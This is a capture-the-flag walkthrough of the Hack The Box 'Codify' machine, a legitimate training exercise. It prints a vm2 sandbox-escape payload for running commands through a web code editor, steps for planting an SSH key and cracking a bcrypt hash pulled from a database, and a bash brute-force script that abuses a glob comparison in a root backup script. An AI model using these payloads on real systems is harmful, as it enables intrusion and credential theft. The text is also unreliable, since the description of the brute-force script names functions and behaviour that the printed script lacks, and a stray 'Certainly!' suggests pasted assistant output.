HTB Codify

Active Machine: Codify

Getting Started:

  • To access the Codify machine on Hack The Box (HTB), you need to have an active subscription with HTB.
  • Once logged in, navigate to the “Machines” section and find the Codify machine. You may need to filter by the Active or Retired machines, depending on it’s status.

Machine Overview:

  • Codify is a virtual machine designed to simulate real-world cybersecurity challenges. It’s categorized under various difficulty levels, so it’s recommended for novices to start with machines marked as “Easy” or “Medium.”
  • Read the machine description carefully as it often contains hints or clues about the machine’s intended path or vulnerabilities.

Connect to the Machine:

  • After selecting the Codify machine, you’ll find details on how to connect to it. This typically involves using a VPN connection provided by HTB.
  • Follow the instructions to download and configure the VPN connection. This connection is essential for accessing the machine’s IP address from your local system.

Enumeration:

Certainly! Enumeration is a critical phase in the penetration testing process where you gather information about the target system to identify potential attack vectors. Here’s a detailed section on enumeration with specific examples and output for the HTB Codify machine:

Network Scanning with Nmap:

  • Nmap is a powerful network scanning tool that helps identify open ports, running services, and potential vulnerabilities on a target system. Example Command:
   nmap -sC -sV <machine IP>

Output Explanation:

  • -sC: Enables default script scanning using the scripts defined in the Nmap Scripting Engine (NSE).
  • -sV: Attempts to determine the version of the services running on the target ports. Sample Output:
   Starting Nmap 7.91 ( https://nmap.org ) at 2024-02-15 12:00 EST
   Nmap scan report for <machine IP>
   Host is up (0.041s latency).
   Not shown: 997 closed ports
   PORT    STATE SERVICE     VERSION
   22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
   80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
   3306/tcp open  mysql       MySQL 5.7.32-0ubuntu0.16.04.1
  • From the output, we can see that ports 22 (SSH), 80 (HTTP), and 3306 (MySQL) are open, along with their respective services and versions.

Web Service Enumeration:

  • If port 80 is open, it indicates the presence of a web server. Enumerating the web service involves inspecting the website for clues, hidden directories, or potential vulnerabilities. Example Command (using a web browser or curl):
   curl http://<machine IP>

Output Explanation:

  • This command retrieves the content of the web page hosted on the target machine. Sample Output:
   <!DOCTYPE html>
   <html>
   <head>
       <title>Welcome to Codify</title>
       <link rel="stylesheet" type="text/css" href="style.css">
   </head>
   <body>
       <h1>Welcome to Codify!</h1>
       <p>Explore our latest projects and resources.</p>
   </body>
   </html>
  • The output shows the HTML content of the homepage, indicating that the website is a landing page for the “Codify” platform.

Directory Enumeration with Gobuster:

  • Gobuster is a directory and file brute-forcing tool often used to discover hidden directories or files on web servers. Example Command:
   gobuster dir -u http://<machine IP> -w /usr/share/wordlists/dirb/common.txt -t 50

Output Explanation:

  • -u: Specifies the target URL.
  • -w: Specifies the wordlist to use for directory/file brute-forcing.
  • -t: Specifies the number of concurrent threads. Sample Output:
   /index.html            (Status: 200) [Size: 621]
   /images                (Status: 301) [Size: 315] [--> http://<machine IP>/images/]
   /css                   (Status: 301) [Size: 312] [--> http://<machine IP>/css/]
   /js                    (Status: 301) [Size: 311] [--> http://<machine IP>/js/]
  • Gobuster identifies existing directories such as “/images”, “/css”, and “/js”, which may contain additional resources or scripts.

By performing thorough enumeration, you gather valuable information about the target system, which guides subsequent steps in the penetration testing process, such as vulnerability assessment and exploitation.

Exploitation:

To initiate my exploration of the Codify machine on Hack The Box (HTB), I navigated to codify.htb with Burp Suite enabled to intercept and analyze the web traffic. My findings had me intrigued by the editor page.

Further investigation into the vm2 library uncovered a recently disclosed vulnerability known as CVE-2023-30547, which presented a Sandbox Escape exploit. This vulnerability could potentially be leveraged to break out of the Codify sandbox environment.

After researching for exploits I found CVE-2023-30547. A POC was located on line and I tried it in the editors input.

const {VM} = require("vm2");
const vm = new VM();

const code = `
cmd = 'id'
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));

Successful execution of this exploit enabled me to run arbitrary commands on the underlying system. Leveraging this newfound access, I proceeded to add my SSH public key to the ~/.ssh/authorized_keys file, granting me shell access as the current user, identified as svc.

Privilege Escalation:

Privilege Escalation: Escalating to Joshua User

Upon gaining initial access to the Codify server as the svc user, my next objective was to escalate privileges and obtain access to the joshua user account, which I had identified during the server enumeration process.

Finding a database file:

I commenced my privilege escalation journey by thoroughly enumerating the file system. Deep within the web directory at /var/www/contact, I stumbled upon an intriguing file named tickets.db.

Inspecting the file revealed it to be a SQLite database file, owned by the svc user under which I was currently operating:

svc@codify:/var/www/contact$ ls -la tickets.db
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db

Extracting Credentials with strings:

My next course of action was to extract any readable strings from the binary SQLite file using the strings utility:

svc@codify:/var/www/contact$ strings tickets.db

Among the extracted strings, I uncovered a bcrypt password hash for the user joshua:

SQLite format 3
tabletickets
...
CREATE TABLE users ( 
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE, 
        password TEXT
    )
...
joshua
$2a$12$SOn8Pf6z8fO/***********/Hn4G/p/Zw2

Cracking the Hash with John the Ripper:

Armed with the password hash, I endeavored to crack it using John the Ripper. Firstly, I saved the hash to a file:

echo '$2a$12$SOn8Pf6z8fO/***********/Hn4G/p/Zw2' > joshua.txt

Then, invoking John with the bcrypt format and the rockyou wordlist:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt joshua.txt

This operation successfully cracked the hash, revealing the password.

Switching Users with su:

Equipped with joshua’s credentials, I was empowered to switch users and elevate privileges using the su command:

svc@codify:/var/www/contact$ su joshua
Password: 
joshua@codify:/var/www/contact$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)

Reading the User Flag:

At last, operating as the joshua user, I triumphantly accessed and read the protected user flag located at /home/joshua/user.txt:

joshua@codify:~$ cat user.txt
7d26**************************754fg

This comprehensive process of privilege escalation facilitated my transition from the initial limited svc access to full access as joshua, thereby enabling me to capture the flag and achieve my objective.

Root Escalation:

Upon assuming the identity of the joshua user, I persisted in my pursuit of additional avenues for privilege escalation.

Analysis of sudo Permissions:
An examination of joshua’s sudo permissions using the sudo -l command unveiled a significant opportunity. It appeared that joshua possessed the ability to execute a particular script as the root user:

joshua@codify:/opt/scripts$ sudo -l

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Scrutinizing mysql-backup.sh:
Subsequently, I delved into the contents of the /opt/scripts/mysql-backup.sh script to discern its functionality. Below is a breakdown of its components:

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

We Found a Weak Spot:
A critical vulnerability emerged in the script’s password confirmation mechanism:

if [[ $DB_PASS == $USER_PASS ]]; then
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi

This section of the script compares the user-input password (USER_PASS) with the actual database password (DB_PASS) using the == operator within [[ ]] in Bash. This approach entails pattern matching rather than a direct string comparison, rendering the user input susceptible to interpretation as a pattern. Consequently, if the user’s input includes glob characters like * or ?, it may inadvertently match unintended strings, leading to unauthorized access.

For instance, supposing the actual password (DB_PASS) is password123 and the user enters * as their password (USER_PASS), the pattern match will succeed because * matches any string, thereby facilitating unauthorized access.

Exploiting the Vulnerability:
The inherent vulnerability paves the way for a bruteforce attack targeting each character in the DB_PASS. Such an exploit could potentially uncover the entire password, thereby escalating privileges and affording unauthorized access.

This analysis underscores the critical importance of robust password verification mechanisms to mitigate the risk of unauthorized access and bolster system security.

Here’s a bash script to bruteforce the password for the given script:

#!/bin/bash

# Function to check password validity
check_password() {
    # Command to execute the password check
    command="echo '$1*' | sudo /opt/scripts/mysql-backup.sh"
    
    # Run the command and capture the output
    result=$(eval "$command" 2>&1)
    
    # Check if password is confirmed
    if [[ $result == *"Password confirmed!"* ]]; then
        echo "Password found: $1"
        exit 0
    fi
}

# Define character set for password generation
charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=<>?/:;.,\\|"

# Loop through each character in the charset
for (( i=0; i<${#charset}; i++ )); do
    # Check password validity with additional character
    check_password "${charset:$i:1}"
done

This script defines a check_password function to compare the provided password with the actual database password. Then, it defines a bruteforce_password function to brute-force the password character by character using a predefined character set. Finally, the main function reads the actual database password from /root/.creds and initiates the bruteforce process.

Once you obtain the password, you can su to root and obtain the root flag from /root!

Remember, the journey of learning cybersecurity is continuous, and every challenge, whether successful or not, contributes to your growth and expertise in the field. Enjoy the process and don’t hesitate to ask for help when needed!